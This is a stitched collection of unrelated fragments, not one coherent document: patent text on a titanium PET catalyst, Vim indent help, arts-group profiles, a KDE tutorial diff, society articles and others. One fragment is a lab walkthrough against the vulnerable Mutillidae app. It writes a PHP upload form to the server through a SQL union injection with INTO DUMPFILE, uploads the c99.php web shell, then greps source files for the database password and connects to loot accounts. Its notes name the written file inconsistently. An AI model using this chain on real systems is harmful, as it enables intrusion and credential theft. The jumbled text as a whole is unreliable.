text:
small amounts of the titanium atrane catalysts described herein to the conventional catalysts such as antimony or germanium-based catalysts, in order to increase capacity. Even up to 10 ppm titanium atrane catalyst (2 ppm titanium) can increase polycondensation and esterification rates so as to increase capacity.
The following methods are used in the examples.
Intrinsic Viscosity Measurement
20 grams of resin pellets are ground using liquid nitrogen as coolant. The resulting powder is dried at 100° C. for 2 min. Solvent (Mixture of 50% o-Dichlorobenzene and 50% Phenol) is added to 250 mg of the dried powder in sufficient amount to result in a 0.5 g/dl concentration solution. The solution is heated at 130° C. for 30 minutes during stirring, and then cooled to 25° C. The resulting cooled solution is placed into a Schott Viscosimeter.
Measurements are performed with a Micro-UBBELOHDE-Viscosimeter Type No. 536 20 Capillary MII (corresponds with DIN 51 562 Part2). Number of drop time measurements is 3. Upper limit of accepted drop time deviation is 0.2%. Upper limit of temperature tolerance: 25° C.+-0.03 K. Calculation is according to BILLMEYER equation in dl/g.
Spectralphotometer LUCI 100 (Dr. Lange GmbH) with SPECTRAL QC softwareSpectral range: 380-720 nmPrinciple: diffuse reflection, d/8°Cuvette: 34 mm, height 25 mmMeasuring spot: 10 mmIlluminant: daylight D65/10
Black and white standards (LZM 128)
The equipment is used when the reference standards reach the following XYZ values. With bigger variation, a new calibration step on the LUCI 100 is necessary
TABLE-US-00001 black white X 3.75 ± 0.02 93.97 ± 0.02 Y 3.97 ± 0.02 99.21 ± 0.02 Z 4.36 ± 0.02 106.52 ± 0.02
The sample is measured as pellets. The cuvette must be clean and is filled to at least 3/4 full. The sample is measured eight times, and for each measurement the cuvette is filled with new pellets. The average value of all 8 measurements is calculated using SPECTRAL QC software
Acetaldehyde Generation Determination
The resin is processed on an ES 200-50 injection molding machine (Engel Co.) with a 30 millimeter diameter screw and a length:diameter ratio of 20. The dried resin is fed to the material hopper of the injection molding machine, to which a nitrogen curtain is applied. The resin is processed at temperature between 270° C. and 300° C. The resulting melt is then injected into a cooled mold under pressure. Processing parameters:
Instrument: circulated air drying oven UT20 by Heraeus Instruments.
Temperature: 120° C.
Duration; 12 hours.
Machine: ES 200-50 by Engel Co.
Cylinder temperatures: 277/277/277/277° C.
Screw speed: 42 rpm
Cooling time: 10 seconds
Dwell pressure time: 10 seconds
Melt retention time: 2.5 minutes.
The acetaldehyde content of the processed resins is determined according to the following method: At first, the various materials are ground with a 1 mm screen in a centrifugal mill by RETSCH Co. (ZM1) in the presence of liquid nitrogen. Approximately 0.1 g to 0.3 g of the ground material is put into a 22 ml sample bottle and sealed with a polytetrafluoroethylene seal. The sample bottles are heated under controlled temperature in a headspace oven (HS-40 XL headspace autosampler by Perkin Elmer) at 150° C. for 90 minutes, and subsequently analyzed through gas chromatography (XL GC AutoSystem by Perkin Elmer) with an external standard.
The calibration curve is prepared through complete evaporation of aqueous solutions of different acetaldehyde contents.
The equipment specifications for the acetaldehyde determination are as follows:
Headspace Autosampler Conditions:
Oven temperature: 150° C.
Needle temperature: 160° C.
Transfer line temperature: 170° C.
Retention Time: 90 minutes
Gas Chromatograph Conditions:
Column: 1.8 m×1/8 in. stainless steel
Packing: Porapack Q, 80/100 mesh
Carrier gas: nitrogen, 30 ml/min
Fuel gas: hydrogen
Air: synthetic air
Column temperature: 140° C.
Detector temperature: 220° C.
The trials are conducted in a 200 L batch reactor (Pisticci Mini Plant). This reactor is equipped with a spiral agitator with hydraulic drive (speed control system for constant speed/torque measurement) and an oil heating system (max. temperature 300° C.) for the reactor and a second heating system (275° C.) for the outlet valve/hole plate. The spiral agitator transports the product from the bottom up on the wall with a space to the wall of 1.5 cm. The filling level in the reactor is approx. 40%.
Titanium Atrane Catalyst Preparation
0.4 moles of titanium n-butylate are added under stirring to 500 mL n-butanol in a nitrogen atmosphere at room temperature. After this, 24 g glacial acetic acid (0.4 moles) are added at room temperature slowly to the solution of titanium n-butylate in n-butanol. The color of the solution changes to slightly yellow. It is stirred for additional 10 minutes. 59.67 g triethanolamine are added dropwise to the stirred solution. The temperature increases by about 2K during the addition of the amine. The mixture is stirred at room temperature. During this time a white precipitate forms. The mixture is stirred for a certain period of time (between 0.5 and 50 h).
The solvent (and reaction product) n-butanol is evaporated under vacuum at temperatures below 50° C.
The resulting off-white to amber solid is added to 500 ml toluene. It is boiled in this solvent to remove alcohol, ester and water traces. The resultant suspension is hot filtered, and the (white) filter cake was dried and stored under vacuum. The resulting atrane has a melting point of greater than 200° C. The yield is in the range of 60 to 90% (based on titanium).
PET Produced Using Titanium Atrane Catalyst
Recipe for trial using titanium catalyst:
Monoethylene glycol (MEG) (29.5 kilograms), 34.65 grams of an aqueous solution of tetramethylammonium hydroxide (TMAH, used to inhibit formation of diethylene glycol) (50 ppm), 15 parts per million (ppm) titanium as catalyst (added as 5.9 g titanium atrane), and a colorant comprising Polysynthren RBL (0.288 g or 4 ppm) and Polysynthren GFP (4 ppm), are fed into the paste mixer. Under stirring (2 stirrers at 3,600 min-1), 60.675 kilograms of purified terephthalic acid (PTA) and 1.44 kilograms of isophthalic acid (IPA) are added into a paste mixer, which is a vessel used to mix the raw materials before being fed into a reactor. The reactor is purged with nitrogen for approximately 5 minutes. The MEG/PTA paste is then fed into the reactor. After esterification the pressure is decreased to 1.5 bar (absolute) in 10 minutes; followed by the addition of a phosphorous compound which is added as a stabilizer (2.675 g phosphoric acid or 10 ppm phosphorous.)
The set points for reactor temperature and pressure for the first step of esterification are approximately 235° C. and 2.6 bar (absolute). The stirrer speed is 80 min-1. In the column the gas phase is separated into ethylene glycol (EG) and water. The EG is recycled back to the reactor. The condensed water (at the top of the column) is collected in a tank. During the esterification time the product temperature increases to 270° C. The esterification run lasts approximately 200 minutes.
Melt Phase Polycondensation:
After esterification the absolute pressure of the reactor is decreased in four steps: 1. Decreasing the pressure to 1.5 bar (absolute) in 10 minutes; addition of the phosphorous stabilizer compound (phosphoric acid); 2. Decreasing the pressure to 1 bar (absolute). 3. Decreasing the pressure to 400 mbar (absolute) in 15 minutes. 4. Decreasing the pressure to 100 mbar (absolute) in 15 minutes followed by a fast decrease to 2-4 mbar (absolute).
The phosphorous compound is given into the reactor from a separate catalyst tank. The catalyst tank is purged with nitrogen before adding the solution of phosphoric acid in ethylene glycol. By a fixed value for the hydraulic pressure (5 bar) the stirrer speed is decreased to 35 min-


in a shell file can
be configured by setting the following keys in the Dictionary
b:sh_indent_defaults to a specific amount or to a Funcref that references a
function that will return the amount desired:
b:sh_indent_options['default'] Default amount of indent.
b:sh_indent_options['continuation-line']
 Amount of indent to add to a continued line.
b:sh_indent_options['case-labels']
 Amount of indent to add for case labels.
 (not actually implemented)
b:sh_indent_options['case-statements']
 Amount of indent to add for case statements.
b:sh_indent_options['case-breaks']
 Amount of indent to add (or more likely
 remove) for case breaks.
VERILOG ft-verilog-indent
General block statements such as if, for, case, always, initial, function,
specify and begin, etc., are indented. The module block statements (first
level blocks) are not indented by default. you can turn on the indent with
setting a variable in the .vimrc as follows:
 let b:verilog_indent_modules = 1
then the module blocks will be indented. To stop this, remove the variable:
 :unlet b:verilog_indent_modules
To set the variable only for Verilog file. The following statements can be
used:
 au BufReadPost * if exists("b:current_syntax")
 au BufReadPost * if b:current_syntax == "verilog"
 au BufReadPost * let b:verilog_indent_modules = 1
 au BufReadPost * endif
 au BufReadPost * endif
Furthermore, setting the variable b:verilog_indent_width to change the
indenting width (default is 'shiftwidth'):
 let b:verilog_indent_width = 4
 let b:verilog_indent_width = shiftwidth() * 2
In addition, you can turn the verbose mode for debug issue:
 let b:verilog_indent_verbose = 1
Make sure to do ":set cmdheight=2" first to allow the display of the message.
VHDL ft-vhdl-indent
Alignment of generic/port mapping statements are performed by default. This
causes the following alignment example:
 ENTITY sync IS
 PORT (
 clk : IN STD_LOGIC;
 reset_n : IN STD_LOGIC;
 data_input : IN STD_LOGIC;
 data_out : OUT STD_LOGIC
 );
 END ENTITY sync;
To turn this off, add
 let g:vhdl_indent_genportmap = 0
to the .vimrc file, which causes the previous alignment example to change:
 ENTITY sync IS
 PORT (
 clk : IN STD_LOGIC;
 reset_n : IN STD_LOGIC;
 data_input : IN STD_LOGIC;
 data_out : OUT STD_LOGIC
 );
 END ENTITY sync;
----------------------------------------
Alignment of right-hand side assignment "<=" statements are performed by
default. This causes the following alignment example:
 sig_out <= (bus_a(1) AND
 (sig_b OR sig_c)) OR
 (bus_a(0) AND sig_d);
To turn this off, add
 let g:vhdl_indent_rhsassign = 0
to the .vimrc file, which causes the previous alignment example to change:
 sig_out <= (bus_a(1) AND
 (sig_b OR sig_c)) OR
 (bus_a(0) AND sig_d);
----------------------------------------
Full-line comments (lines that begin with "--") are indented to be aligned with
the very previous line's comment, PROVIDED that a whitespace follows after
"--".
For example:
 sig_a <= sig_b; -- start of a comment
 -- continuation of the comment
 -- more of the same comment
While in Insert mode, after typing "-- " (note the space " "), hitting CTRL-F
will align the current "-- " with the previous line's "--".
If the very previous line does not contain "--", THEN the full-line comment
will be aligned with the start of the next non-blank line that is NOT a
full-line comment.
Indenting the following code:
 sig_c <= sig_d; -- comment 0
 -- comment 1
 -- comment 2
 --debug_code:
 --PROCESS(debug_in)
 --BEGIN
 -- FOR i IN 15 DOWNTO 0 LOOP
 -- debug_out(8*i+7 DOWNTO 8*i) <= debug_in(15-i);
 -- END LOOP;
 --END PROCESS debug_code;
 -- comment 3
 sig_e <= sig_f; -- comment 4
 -- comment 5
results in:
 sig_c <= sig_d; -- comment 0
 -- comment 1
 -- comment 2
 --debug_code:
 --PROCESS(debug_in)
 --BEGIN
 -- FOR i IN 15 DOWNTO 0 LOOP
 -- debug_out(8*i+7 DOWNTO 8*i) <= debug_in(15-i);
 -- END LOOP;
 --END PROCESS debug_code;
 -- comment 3
 sig_e <= sig_f; -- comment 4
 -- comment 5
Notice that "--debug_code:" does not align with "-- comment 2"
because there is no whitespace that follows after "--" in "--debug_code:".
Given the dynamic nature of indenting comments, indenting should be done TWICE.
On the first pass, code will be indented. On the second pass, full-line
comments will be indented according to the correctly indented code.
VIM ft-vim-indent
 g:vim_indent
Vim scripts indentation can be configured with the g:vim_indent dictionary
variable. It supports 3 keys, line_continuation, more_in_bracket_block,
and searchpair_timeout.
line_continuation expects a number which will be added to the indent level of
a continuation line starting with a backslash, and defaults to
'shiftwidth() * 3' . It also accepts a string, which is evaluated at runtime.
more_in_bracket_block expects a boolean value; when on, an extra
shiftwidth() is added inside blocks surrounded with brackets. It defaults to
v:false.
searchpair_timeout expects a number which will be passed to searchpair() as
a timeout. Increasing the value might give more accurate results, but also
causes the indentation to take more time. It defaults to 100 (milliseconds).
Example of configuration:
 let g:vim_indent = #{
 \ line_continuation: shiftwidth() * 3,
 \ more_in_bracket_block: v:false,
 \ searchpair_timeout: 100,
 \ }
 g:vim_indent_cont
This variable is equivalent to g:vim_indent.line_continuation.
It's supported for backward compatibility.
 vim:tw=78:ts=8:noet:ft=help:norl:
Quick links: help overview · MacVim reference · quick reference · commands index · user manual · reference manual


text:
Self-medicating to prevent malaria: house sparrows
House sparrows protect themselves from malaria by lining their nests with and eating quinine-containing leaves from the paradise flower tree.
|Biomimetic Application Ideas|
|Urban designs that incorporate anti-malarial plants, new anti-malarial drugs.|
> Visit strategy page
Passer domesticus (Linnaeus, 1758)
IUCN Red List Status: Least Concern
Habitat(s): Artificial - Aquatic, Artificial - Terrestrial, Forest, Grassland, Rocky Areas, Shrubland, Wetlands
Some organism data provided by: ITIS: The Integrated Taxonomic Information System
Organism/taxonomy data provided by:
Species 2000 & ITIS Catalogue of Life: 2008 Annual Checklist
Application Ideas: Urban designs that incorporate anti-malarial plants, new anti-malarial drugs.
Industrial Sector(s) interested in this strategy: Urban planning, medical

source: HuggingFaceFW/fineweb-edu


will need to include 5 fields.
 5. E.g., ' union select null,null,null,null,null' --

Section 9: Navigate to the User Info Page
 1. On BackTrack, Open Firefox
 - Instructions:
 1. Click on the Firefox Icon
 - Notes (FYI):
 - If FireFox Icon does not exist in the Menu Bar Tray, then go to Applications --> Internet --> Firefox Web Browser

 2. Open Mutillidae
 - Notes (FYI):
 - Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
 - Instructions:
 1. http://192.168.1.111/mutillidae

 3. Go to User Info
 - Instructions:
 1. OWASP Top 10 --> A1 - SQL Injection --> SQLi - Extract Data --> User Info

Section 10: Inject Upload Form into User Info Page
 1. Inspect the View Account Details Button with Firebug
 - Instructions:
 1. Right click on the View Accounts Details Button
 2. Click on Inspect Element

 2. Change Button Placement
 - Instructions:
 1. After the string style="text-align:, Change center to left. (See Picture)
 2. Click on the Close Button
 - Note(FYI):
 1. You are changing the button positioning, so you are still able to see the button, after you change the size of the Name Textbox in the following step.

 3. Inspect the Name Textbox with Firebug
 - Instructions:
 1. Right click on the Name Textbox
 2. Click on Inspect Element

 4. Change Text Box Size
 - Instructions:
 1. After the string "size=", Change 20 to 550. (See Picture)
 2. Click on the Close Button

 5. Backdoor Union SQL Union Injection
 - Instructions:
 1. In the Name Textbox place the following string. Remember to put a space after the "-- ".
 - ' union select null,null,null,null,'
<?php if(isset($_FILES["fupload"])) { $source = $_FILES["fupload"]["tmp_name"]; $target = $_FILES["fupload"]["name"]; move_uploaded_file($source,$target); system("chmod 770 $target"); $size = getImageSize($target); } ?>
<form enctype="multipart/form-data" action="<?php print $_SERVER["PHP_SELF"]?>" method="post">
<input type="hidden" name="MAX_FILE_SIZE" value="500000"><input type="file" name="fupload">
<input type="submit" name="upload!">
</form>' INTO DUMPFILE '/var/www/html/mutillidae/upload_file.php' --
 2. Click the View Account Details button
 - Note(FYI):
 1. This above SQL union statement writes a small php script into the following location /var/www/mutillidae/execute_command.php.
 2. ' union select null,null,null,null,' - This is the start of SQL union injection statement, that includes the first four fields follow by the start of the fifth field (,').
 3.
 - This is standard opening body to a HTML page.
 4. <?php if(isset($_FILES["fupload"])) { $source = $_FILES["fupload"]["tmp_name"]; $target = $_FILES["fupload"]["name"]; move_uploaded_file($source,$target); system("chmod 770 $target"); $size = getImageSize($target); } ?> - This is the PHP script that allows a person to upload a 500,000 byte file (value="500000"). The browse button is represented as (<input type="file" name="fupload">). The submit button is represented as (<input type="submit" name="upload!">).
 5. ' INTO DUMPFILE ' - This tells MySQL to place the HTML Form / PHP Script into a file.
 6. /var/www/html/mutillidae/upload_file.php - This is the output file.

 6. Viewing the Results
 - Note(FYI):
 1. This is a typical error message saying either a bad user name or password was supplied.
 2. Typically, web designers should not display what caused an error. Highlighted by the red rectangle, notice that now the upload form is embedded in the query results.

Section 11: Upload c99.php to Mutillidae
 1. Upload c99.php to Mutillidae
 - Notes (FYI):
 - Replace 192.168.1.111 in the following URL --> http://192.168.1.111/mutillidae, with your Mutillidae's IP Address obtained from (Section 3, Step 3)
 - Instructions:
 1. Place the following URL in the Address Bar
 - http://192.168.1.111/mutillidae/upload_file.php
 2. Click the Browse Button
 3. Navigate to /root/backdoor
 4. Click on c99.php
 5. Click the Open Button
 6. Click the Submit Query Button

Section 12: Using c99:php's to grab database password
 1. Server security information
 - Notes (FYI):
 - Replace 192.168.1.111 in the following URL with your Mutillidae's IP Address obtained from (Section 3, Step 3)
 - http://192.168.1.111/mutillidae/c99.php,
 - Instructions:
 1. Place the following URL in the address bar
 - http://192.168.1.111/mutillidae/c99.php
 2. Click on the Sec. link

 2. Discover Mutillidae Application Directory
 - Instructions:
 1. Place "pwd" in the upper-left command execute text box. (See Picture).
 2. Click Execute
 - Note(FYI):
 1. pwd - print name of current/working directory.

 3. Search php scripts for the string password
 - Notes (FYI):
 - Now we will search the 900+ php scripts for the string "password" and "=".
 - Instructions:
 1. Notice that /var/www/html/mutillidae is displayed in the results sections. This is the Mutillidae Application directory. In the following step, we will use find to search the /var/www/html/mutillidae directory to search for php scripts that contain a password.
 2. Place the following command in the second pane:
 - find /var/www/html/mutillidae -name "*.php" | xargs grep -i "password" | grep "="
 3. Click Execute button

 4. Viewing Password Results
 - Notes (FYI):
 1. Notice the password is "samurai".
 2. Notice that script that contains the samarai password is located as follows:
 - /var/www/html/mutillidae/classes/MySQLHandler.php

 5. Viewing the Code
 - Notes (FYI):
 - It is possible to display the contents of the MySQLHandler.php program, by encoding the "<?php" and "?>" tags. These tags tell apache to execute a php script. To get around this problem and just display the text of the program, we change "<" to "<" and ">" to ">".
 - Instructions:
 1. Place the following command in the second pane:
 - find /var/www/html/mutillidae -name "MySQLHandler.php" | xargs cat | sed 's/</\</g' | sed 's/>/\>/g'
 2. Click the Execute Button
 3. Database Username
 - static public $mMySQLDatabaseUsername = "root";
 4. Database Password
 - static public $mMySQLDatabasePassword = "samurai";
 5. Database Name
 - static public $mMySQLDatabaseName = "nowasp";

Section 13: Using c99:php's to examine pillage the database
 1. Connect to SQL
 - Instructions:
 1. Click the SQL navigation link.
 2. Username: root
 3. Password: samurai
 4. Database: nowasp
 5. Click the Connect Button

 2. Select the "accounts" table
 - Instructions


Nanou Djiapo
NANOU DJIAPO pronounced "Na – No" "Ja –Po" is an African drum and dance group that empowers young artists in the Metro Detroit area through the performing arts. Nanou Djiapo's mission is to foster growth and development of youth based on their historical cultural center, using the highest values and ethics for social development. Their purpose also is to educate youth using the arts of African dance, Djembe Drum instrumental music, and visual interpretation, on culture, traditions, and social responsibility, to self and community.
Final Girls
Final Girls is a collective of professional female filmmakers living and working in Metro Detroit. The filmmakers Andrea Claire Morningstar and Jasmine Rivera co-founded it. They say the name of the collective is derived from a horror film trope coined by film theorist Carol J. Clover in her 1992 book Men, Women, and Chainsaws: Gender in the Modern Horror Film.
About twenty filmmakers work in Final Girls. They share resources, host film screenings, network events (latest event: workshop with Sundance). They also hold the monthly meeting of the Detroit chapter of Film Fatales.
Beyond the fact that Final Girls is a female collective, it also dedicates itself in making movies in Detroit, telling the stories of Detroiters.
The Whiskey Charmers
Brought together by a mutual friend, musicians Carrie Shepard and Lawrence Daversa formed the Whiskey Charmers in 2012. Shepard, who first performed publicly in 2008, found refuge in country music by icons like Merle Haggard, George Jones, and Loretta Lynn. In stark comparison, Lawrence Daversa's early interest in AC/DC played a major role in defining his musical style, bringing him around the United States, touring with the Tarantulas, and eventually meeting Shepard. The two established the Whiskey Charmers as a musical convergence, drawing from Shepard's country upbringings, and Daversa's heavy metal background, and have been regularly performing since.


Shifting Involvements 20th edition
Private Interest and Public Action
Shifting Involvements 20th edition 9780691092928 _PHONE_
Details about this item
Shifting Involvements:
Why does society oscillate between intense interest in public issues and almost total concentration on private goals? In this classic work, Albert O. Hirschman offers a stimulating social, political, and economic analysis dealing with how and why frustrations of private concerns lead to public involvement and public participation that eventually lead back to those private concerns. Emerging from this study is a wide range of insights, from a critique of conventional consumption theory to a new understanding of collective action and of universal suffrage.
Back to top
Rent Shifting Involvements 20th edition today, or search our site for Albert O. textbooks. Every textbook comes with a 21-day "Any Reason" guarantee. Published by Princeton University Press.


text:
2014-10-15Zeitschriftenartikel DOI: 10.18452/7566
In the Name of Brâncuşi: Complexes, Projections, and Historical Symptoms
Humboldt-Universität zu Berlin
This essay focuses on a specific case study: the relationship between the Romanian artist Constantin Brâncuşi and the Venice Biennale. In a broader sense, the paper analyzes how notions such as nationalism are configured through an artistic personality who had (and still has) a tense affiliation to Romanian culture, Brâncuşi's place of origin. Being rather a report on a phenomenon that is still active in the contemporary local mentality, this analysis focuses on different types of situations that the art historian encounters when looking at Brâncuşi's presence in the context of the national representation at an international art event such as the Venice Biennale, during a longer period of time, between 1924 and 2013. It explores the official art history, as well as an alternative one which is characterized by the notion of potential.
Dateien zu dieser Publikation

source: openbmb/Ultra-FineWeb


Difference between revisions of "Development/Tutorials/Decibel/Handling TextChannels"
Jump to: navigation, search
(add tutorial template)
(add outstanding sections)
Line 11: Line 11:

reading=[[Development/Tutorials/CMake|CMake]]

reading=[[Development/Tutorials/CMake|CMake]]

}}

}}

==Abstract==

==Abstract==

This tutorial will walk you through the process of creating a simple application that uses Decibel's TextChannels to communicate via arbitrary instant messaging networks using telepathy. From the result of this tutorial, only a few more lines of code are needed to produce a functioning text based instant messaging client.

This tutorial will walk you through the process of creating a simple application that uses Decibel's TextChannels to communicate via arbitrary instant messaging networks using telepathy. From the result of this tutorial, only a few more lines of code are needed to produce a functioning text based instant messaging client.
Line 119: Line 118:

}

}

</code>

</code>
 +
 +
==The main.cpp file==
 +
TODO
 +
 +
==The .component File==
 +
TODO
 +
 +
==The .service File==
 +
TODO
 +
 +
==Running our Application==
 +
TODO
Revision as of 06:09, 12 March 2008
Handling TextChannels
Tutorial Series Decibel Tutorial
Previous C++, Qt, KDE4 development environment
What's Next
Further Reading CMake
Contents
Abstract
This tutorial will walk you through the process of creating a simple application that uses Decibel's TextChannels to communicate via arbitrary instant messaging networks using telepathy. From the result of this tutorial, only a few more lines of code are needed to produce a functioning text based instant messaging client.
This tutorial is based on the simpleclient demo included with Decibel. An explanation of using the simpleclient demo can be found here.
In this tutorial, we only pick out the important parts of the source code to discuss. The complete working source code for this example can be found here in KDE's SVN Repository.
ChannelHandler class
The first class we will need to create is an implementation of the Decibel::ChannelHandler interface.
The Class Definition
Here is the class definition for our implementation of the Decibel::ChannelHandler interface. It is explained below.
class MyTextChannelHandler : public Decibel::ChannelHandler {
 Q_OBJECT
public:
 explicit MyTextChannelHandler(QObject * parent = 0);
 ~MyTextChannelHandler();
 bool handleChannel(QtTapioca::Connection *, QtTapioca::Channel *, const bool);
public slots:
 void onMessageReceived();
 void onCloseChannel();
private:
 QtTapioca::Connection * m_connection;
 QtTapioca::TextChannel * m_channel;
};
We must inherit from Decibel::ChannelHandler which is the interface definition for handling incoming Channels. We reimplement the constructor, Destructor and the handleChannel() method as well as adding two slots of our own. We also create the member variables m_connecion and m_channel which will hold the QtTapioca::Connection and QtTapioca::Channel objects that are received by the handleChannel method.
The Class Implementation
Now that we have defined our Decibel::ChannelHandler subclass, we need to implement its methods.
MyTextChannelHandler::MyTextChannelHandler(QObject * parent) :
 ChannelHandler(parent),
 m_connection(0),
 m_channel(0)
{ } The constructor is very simple. We just pass the parent object on to the parent class and initialise our member variables to 0.
MyTextChannelHandler::~MyTextChannelHandler() { } The destructor is even simpler. We don't need to do anything in it because Qt will handle the deletion of child objects automatically.
bool MyTextChannelHandler::handleChannel(QtTapioca::Connection * connection,
 QtTapioca::Channel * channel,
 const bool)
{
 Q_ASSERT(connection != 0);
 Q_ASSERT(channel != 0);
 if (m_connection != 0) { return false; }
 m_channel = dynamic_cast<QtTapioca::TextChannel*>(channel);
 if (m_channel == 0)
 {
 return false;
 }
 m_connection = connection;
 connect(m_channel, SIGNAL(messageReceived(const QtTapioca::TextChannel *, const QtTapioca::TextChannel::Message &)),
 this, SLOT(onMessageReceived()));
 connect(m_channel, SIGNAL(closed()), this, SLOT(onCloseChannel()));
 onMessageReceived();
 return true;
}
void MyTextChannelHandler::onCloseChannel() {
 m_connection = 0;
 m_channel = 0;
}
void MyTextChannelHandler::onMessageReceived() {
 QList<QtTapioca::TextChannel::Message> message_list = m_channel->pendingMessages();
 for (QList<QtTapioca::TextChannel::Message>::const_iterator
 message = message_list.constBegin();
 message != message_list.constEnd(); ++message)
 {
 if (message->type() == QtTapioca::TextChannel::Message::Normal &&
 message->contents() == QString("ping?"))
 { m_channel->sendMessage(QString("pong!")); }
 m_channel->acknowledge(*message);
 }
}
The main.cpp file
TODO
The .component File
TODO
The .service File
TODO
Running our Application
TODO
KDE® and the K Desktop Environment® logo are registered trademarks of KDE e.V.Legal


text:
On this day of April 28th 2006 there appeared before me,
- Mr Laurina Christina Klein, civil-law notary, practicing in Amsterdam
- Dr Suzette Antoinette Boon-Langelaan
- Dr. Bettina Overkamp
The persons appearing above have declared that they wish to establish a society which will be governed by the following articles:
- The Society bears the name:
- European Society for Trauma and Dissociation which is abbreviated to: ESTD The Society has its seat at Zeist.
The Aims of the Society are:
- Promoting the broadening of and increase in the knowledge of Trauma, Dissociation and all disorders related to chronic traumatization.
- Provide professional and public education about dissociation and trauma and all disorders related to chronic traumatization
- Support communication and cooperation among clinicians, researchers, historians and other professionals with a vivid interest or working in the above mentioned field
- Provide knowledge and education specifically to those countries in Europe who do not have easy access in the above mentioned field
- On behalf of the members or certain category of members the society may stipulate rights and enter into obligations to their charge
The Society has been formed for an indefinite period of time.
1. The Society recognizes:
- Full member
- Student Members
- Associate member
- Only full members are members as referred to in Book 2 Civil Code.
2. Full membership is open to residents of any European country including Turkey, Cyprus, Israel, Palestine and the states to the west of the Ural and Greenland in the west and who are professionally occupied with diagnosis, treatment, research or teaching in the field of trauma, dissociation and disorders related to chronic traumatization or board members of an organization in the above mentioned field.
3. Student members are those members who are still in training and have been issued a certificate of registration with a university or college of higher education.
4. Associate members are those members who meet the requirements mentioned in article 4.2 but do not live in a state within the area indicated.
5. All applications must be in writing to the Secretary of the Society. In the first instance, the Board will decide whether the applicant is accepted as a full or student member or associate member. The secretary is required to confirm the decision to the candidate as soon as possible. In case of non admission to membership, the applicant can appeal to the General Meeting. This appeal has to be sent to the secretary in writing within one month of the original decision. The hearing of this appeal will, if possible, take place at the next AGM where a decision will be made.
The Society recognizes supporters. A supporter is a "legal person" or a natural person who has applied to the board and has been accepted by the board. He/she supports the society financially by donating a minimum contribution to be determined by the General Meeting.
Membership is terminated:
- Upon the death of a member
- Through written cancellation by a member. This written cancellation can occur at any time but requires a period of notice of three months.
- Through written termination by the Society. The can occur at any time without the requirement of notice. This may occur when a member no longer meets the requirements for membership as laid down in the articles, or when a Member does not fulfil their obligations to the Society and also when the Society cannot in all fairness be expected to continue membership.
- By expulsion. This can only be implemented by the Board if a member acts contrary to the articles, the provisions or resolutions of the Society or unreasonably harms the Society.
In the case of a Board member, either termination or expulsion can only be implemented by a decision of the General Meeting. There is no appeal possible under these circumstances.
Any person whose membership of the Society is terminated or who is expelled from the Society will be notified in writing the grounds for the termination as soon as possible. A member may appeal to the General Meeting within 4 weeks of notification of termination. This appeal has to be in writing to the Secretary.
During the period of appeal and pending the decision of this appeal, the member will be suspended but has a right to attend in person the General Meeting in which the appeal is being heard and has a right to speak. Such a member does not have a right to a vote.
- In cases mentioned under Article 6 1 d., the Board can suspend a member for a maximum of 3 months if the Board considers that there are not enough reasons to decide on expulsion.
- The same applies to Article 6 2-4.
- Suspension of a member who is a member of the Board also means suspension from the Board during the same period. The termination of membership of the society also includes termination of membership of the Board.
1. Annual contributions are determined by the General Meeting. The General Meeting is authorized to set different categories of payment depending on:
- Membership Category
- Country of residence
"The General Meeting may also decide that upon commencement of the membership a registration fee, to be fixed by it, shall be due"
2. The Board decides in what manner and on what date at the very latest the financial obligations should have been met.
3. Unless the Board determines otherwise, persons who have been suspended, have been expelled or who have terminated their membership before the end of the financial year of the Society are obliged to pay their full contribution.
4. The General Meeting is authorized to attach further obligation to the Membership
- Management of the Society and all of its finances are implemented by the Executive Board.
- Following authorization at the Annual General Meeting, the Executive Board is authorized to enter into agreements by which the society undertakes to be a surety or joint and several co-debtor, or guarantees performance by a third party or provides security for the debt of another.
- The Board will be composed of at least 3 members. The number of members is decided by the Annual General Meeting. The roles of Chair, Secretary and Treasurer are decided by the members of the Board. They form the Executive Board. Only full members of the Society shall be eligible as board members. The board members are elected, suspended or dismissed by a decision of the AGM.
- Yearly after an AGM at least one member of the board has to resign following an agreed rotation schedule drawn by the Board. The Board can decide that more than one board member resigns yearly. Resigning members can be re-nominated immediately. When a member resigns as a Board member, he/she also resigns as Executive board member.
- Newly elected Board Members take office immediately after the AGM in which they are elected. They take the place of their predecessors. The AGM can decide on alternative time schedule for the acceptance of new board members.
- A member of the Executive Board or the Board can resign at any time.
- During times of vacancies, the Executive board and the Board are still authorized to take decisions.
- The Chair determines when and where a meeting of the Executive board and the board will be held. Such meetings have to be announced by the Chair or by the Secretary on behalf of the Chair.
- The Chair decides on the agenda and is obliged to include agenda items put forward by 2 or more members of the Board.
- Decisions are validated if there is a majority vote of the board (over half). Each member of the board has the right to one vote. If there is a tie, then the Chair has the casting vote.
- The Secretary takes minutes unless the Board decides that a list of decisions taken is sufficient. The minutes or the Decision List has to be formally approved by the Board, signed by the Chair and the person who has taken the minutes.
- The Society is represented by the Executive Board as long as this not in conflict with the law.
- Members of the Executive Board are required to act on behalf of the Board and the Society.
- The Executive Board is authorized to mandate a third member of the board to represent the Society within certain limitation that needs to be in writing.
- A General Meeting is held at least once a year within 6 months of the end of the financial year. The general meeting can extend this period for each subsequent year.
- Additional general meetings can be held if called for either by the Chair or the Executive Board. Furthermore the Chair is obliged to convene a general meeting if requested by at least 10% of the full membership. Such requests have to be in writing and specify the subject for discussion. If neither the Chair nor the Executive Board calls a meeting within 4 weeks of this written request, the members requesting this meeting are authorized to access the Membership list, set up an agenda, appoint a chair and someone to take minutes.
- The Chair of the Board runs the annual meeting. If the Chair is absent then the Board decides who will chair the meeting. These conditions are subject to the provisions mentioned in 13.2
- Each full member who is not under a suspension (see article 6, 4) can attend, speak and make proposals at the general meeting.
- Each full member shall have one vote.
- Each full member can authorize another full member to cast a vote as a proxy for him/her.
- A full member can act as a proxy for only one other full member
- General Meetings can establish rules and regulations which can be reviewed and changed.
- If neither the law, nor these articles nor the rules and regulations set up at the General Meeting resolve specific issues, then the General Meeting can decide on what action to take.
The agenda of the annual general meeting must include at least the following:
- The election of one or more board members
- The submission of the Annual Report by the Executive board
- The financial statement signed by all members of the Executive board and approved by members at the general meeting. If one member of the Executive board has not signed,


Yours Willa Cather
The Story Behind the 1936 Annie Pavelka Letter
by Andy Jewell
NET Radio Series
